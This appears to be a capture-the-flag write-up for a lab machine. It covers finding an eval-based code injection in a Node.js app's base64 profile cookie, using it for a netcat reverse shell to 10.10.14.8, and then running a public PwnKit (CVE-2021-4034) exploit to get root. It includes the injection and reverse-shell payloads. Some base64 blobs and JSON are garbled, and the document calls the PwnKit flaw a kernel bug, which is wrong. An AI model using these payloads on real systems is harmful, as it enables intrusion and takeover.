

Information Gathering

1) Found a open port

```
(vigneswar@VigneswarPC)-[~]
$ tcpscan 10.10.10.85
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-16 18:47 IST
Nmap scan report for 10.10.10.85
Host is up (0.46s latency).
Not shown: 65088 closed tcp ports (reset), 446 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE VERSION
3000/tcp  open  http      Node.js Express framework
|_http-title: Site doesn't have a title (text/html; charset=utf-8).

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 110.86 seconds
```

2) Found a strange cookie value

Request

PrettyRawHex

```
1 GET / HTTP/1.1
2 Host: 10.10.10.85:3000
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0)
  Gecko/20100101 Firefox/115.0
4 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate, br
7 Connection: keep-alive
8 Cookie: profiles=eyJ1c2VybmFtZSI6IHRibW15IiwiaWY291bnRyeSI6IkayBQcm9lYWJseSBtb21ld2hlcmluUgRlVhYTYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSt6IjIiOiJfQ30%3D
9 Upgrade-Insecure-Requests: 1
10
11
```

Response

PrettyRawHexRender

```
1 HTTP/1.1 200 OK
2 X-Powered-By: Express
3 Content-Type: text/html; charset=utf-8
4 Content-Length: 21
5 ETag: W/"15-1qbhOnIIVqztZ13LRUnGx4TH3xg"
6 Date: Tue, 16 Jul 2024 13:32:51 GMT
7 Connection: keep-alive
8
9 Hey Dummy 2 + 2 is 22
```

Inspector

Selection

124 (0x7c)

InspectorNotes

Selected text

eyJ1c2VybmFtZSI6IHRibW15IiwiaWY291bnRyeSI6IkayBQcm9lYWJseSBtb21ld2hlcmluUgRlVhYTYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSt6IjIiOiJfQ30%3D

Decoded from: URL encoding

eyJ1c2VybmFtZSI6IHRibW15IiwiaWY291bnRyeSI6IkayBQcm9lYWJseSBtb21ld2hlcmluUgRlVhYTYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSt6IjIiOiJfQ30%3D

Decoded from: Base64

{'username':'Dummy','country':'Idk Probably Somewhere Dumb','city':'Lametown','num':'2'}

CancelApply changes

Request attributes

2

Request query parameters

0

Request body parameters

0

Request cookies

1

Request headers

8

Response headers

6

2) Couldnt find new pages

```
DashboardTargetProxyIntruderRepeaterSequencerDecoderComarnerLoggerOrganizerExtensionsLearnBTP
(vigneswar@VigneswarPC)-[~]
$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u 'http://10.10.10.85:3000/FUZZ' -ic

Request
v2.1.0-dev

:: Method : GET
:: URL : http://10.10.10.85:3000/FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500

[Status: 200, Size: 12, Words: 1, Lines: 1, Duration: 208ms]
[Status: 200, Size: 12, Words: 1, Lines: 1, Duration: 337ms]
```

Vulnerability Assessment

1) Our input is being reflected

Request

Pretty

Raw

Hex

1

GET / HTTP/1.1

2

Host: 10.10.10.85:3000

3

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0)

4

Gecko/20100101 Firefox/115.0

5

Accept:

6

text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

7

Accept-Language: en-US,en;q=0.5

8

Accept-Encoding: gzip, deflate, br

9

Connection: keep-alive

10

Cookie: profile=

11

eyJ1c2VybmFtZSI6IHRlc3QlLCJjb3VudHUiOiSwRrIFByb2JhYmxSIjFwNWV3aGVyZSBEedw1IiwiaWY2L0eSI6IkhwbWV3aGVyZSBEedw1IiwiaWVibnVtIjoNCj9

Upgrade-Insecure-Requests: 1

Response

Pretty

Raw

Hex

Render

1

HTTP/1.1 200 OK

2

X-Powered-By: Express

3

Content-Type: text/html; charset=utf-8

4

Content-Length: 20

5

ETag: W/"14-10qobPlqgLKjPrQy+IMtdwFzLB4"

6

Date: Tue, 16 Jul 2024 13:34:55 GMT

7

Connection: keep-alive

8

9

Hey test 4 + 4 is 44

Inspector

Selection

116 (0x74)

Selected text

eyJ1c2VybmFtZSI6IHRlc3QlLCJjb3VudHUiOiSwRrIFByb2JhYmxSIjFwNWV3aGVyZSBEedw1IiwiaWY2L0eSI6IkhwbWV3aGVyZSBEedw1IiwiaWVibnVtIjoNCj9

Decoded from:

URL encoding

eyJ1c2VybmFtZSI6IHRlc3QlLCJjb3VudHUiOiSwRrIFByb2JhYmxSIjFwNWV3aGVyZSBEedw1IiwiaWY2L0eSI6IkhwbWV3aGVyZSBEedw1IiwiaWVibnVtIjoNCj9

Decoded from:

Base64

{"username":"test","country":"Idk Probably Somewhere Dumb","city":"Lameton","num":"4"}

Request attributes

2

Request query parameters

0

Request body parameters

0

Request cookies

1

Request headers

8

Response headers

6

2) Our input is sent into eval without validation, we can inject js code

The screenshot shows the Burp Suite interface with the Request tab selected on the left and the Response tab selected on the right. The Request tab displays an HTTP GET request to http://10.10.10.85:3000/. The Response tab displays a 404 Not Found error from the application, indicating that the requested resource does not exist.

3) Found code injection vulnerability

Request

PrettyRawHex

1GET / HTTP/1.1

2Host: 10.10.10.85:3000

3User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0)

4Gecko/20100101 Firefox/115.0

5

6Accept:

7text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,i

8mage/webp,*/*;q=0.8

9Accept-Language: en-US,en;q=0.5

10Accept-Encoding: gzip, deflate, br

11Connection: keep-alive

12Cookie: profiles

13eyJ1c2VybWFTZS16InRlc3QgL0Jjb3VudHJ5Ijo1SWRrIFByb2JhYmx5IHNvbWV3aG

14VyZSBEZWllIiw1Y2I0eSI6IkhkbWVob3duIiwibnVtIjo1cmVxdWlyZSgny2hpbGRF

15cHJvY2VzcycpLnV4ZWNTewSjKCdzbGVlcA1jyk7In0%3d

16

17Upgrade-Insecure-Requests: 1

18

19

20

21

Response

PrettyRawHexRender

Hey test require('child_process').execSync('sleep 5'); +
require('child_process').execSync('sleep 5'); is

Inspector

Selection178 (0x2)

Selected text

eyJ1c2VybWFTZS16InRlc3QgL0Jjb3VudHJ5Ijo1SWRrIFByb2JhYmx5IHNvbWV3aG

VyZSBEZWllIiw1Y2I0eSI6IkhkbWVob3duIiwibnVtIjo1cmVxdWlyZSgny2hpbGRF

cHJvY2VzcycpLnV4ZWNTewSjKCdzbGVlcA1jyk7In0%3d

Decoded from:URL encoding

eyJ1c2VybWFTZS16InRlc3QgL0Jjb3VudHJ5Ijo1SWRrIFByb2JhYmx5IHNvbWV3aG

VyZSBEZWllIiw1Y2I0eSI6IkhkbWVob3duIiwibnVtIjo1cmVxdWlyZSgny2hpbGRF

cHJvY2VzcycpLnV4ZWNTewSjKCdzbGVlcA1jyk7In0=

Decoded from:Base64

{'username':'test','country':'Idk, Probably Somewhere Dumb','city':'Lameton','num':

'require('child_process').execSync('sleep 5');'}

Cancel

Apply changes

Request attributes2

Request query parameters0

Request body parameters0

Request cookies1

Request headers8

Done

Event log (2)All issues

312 bytes10,468 millis

Memory: 151.7MB

Exploitation

1) Got reverse shell

```
{ "username": "test", "country": "\nIdk Probably Somewhere Dumb", "\n"city": "Lametown", "\n"num": "require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.8 4444 >/tmp/f');"} }
```

The image shows a screenshot of Burp Suite Community Edition v2024.4.5 and a terminal window. In Burp Suite, a request is selected and decoded from URL encoding to Base64, revealing a JSON payload. The terminal window shows a netcat listener on 4444 receiving a connection from 10.10.10.85, which then executes the reverse shell command, resulting in a bash shell on the target machine.

Burp Suite Request:

```
1 GET / HTTP/1.1
Host: 10.10.10.85:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/javascript,application/xhtml+xml,application/...
```

Decoded Request Body (Base64):

```
{ "username": "test", "country": "\nIdk Probably Somewhere Dumb", "\n"city": "Lametown", "\n"num": "require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.8 4444 >/tmp/f');"} }
```

Terminal Output:

```
vigneswar@VigneswarPC: ~$ nc -lvp 4444
listening on [any] 4444 ...
connect to [10.10.14.8] from (UNKNOWN) [10.10.10.85] 45492
bash: cannot set terminal process group (2821): Inappropriate ioctl for device
bash: no job control in this shell
sun@celestial:~$
```

Privilege Escalation

1) Found vulnerable kernel version

The image shows a terminal window where the command `uname -a` is executed. The output shows the system is running Linux kernel 4.4.0-31-generic on Ubuntu SMP, which is vulnerable to CVE-2021-4034.

```
sun@celestial:~$ uname -a
Linux celestial 4.4.0-31-generic #50-Ubuntu SMP Wed Jul 13 00:07:12 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
sun@celestial:~$
```

2) Exploited it

<https://github.com/berdav/CVE-2021-4034>

```
vigneswar@VigneswarPC: ~  
sun@celestial:~$ ls  
cve-2021-4034.c Desktop Downloads exploit linpeas.sh Music output.txt Public server.js user.txt  
cve-2021-4034.sh Documents examples.desktop exploit.c Makefile node_modules Pictures pwnkit.c Templates Videos  
sun@celestial:~$ make  
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c  
cc -Wall cve-2021-4034.c -o cve-2021-4034  
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules  
mkdir -p GCONV_PATH=.  
cp -f /bin/true GCONV_PATH=./pwnkit.so..  
sun@celestial:~$ ./cve-2021-4034 and you'll get a root shell immediately.  
# cd /root  
# cat root.txt  
716f65fb3b401ecda0aa7c9fdb46e3df  
# |
```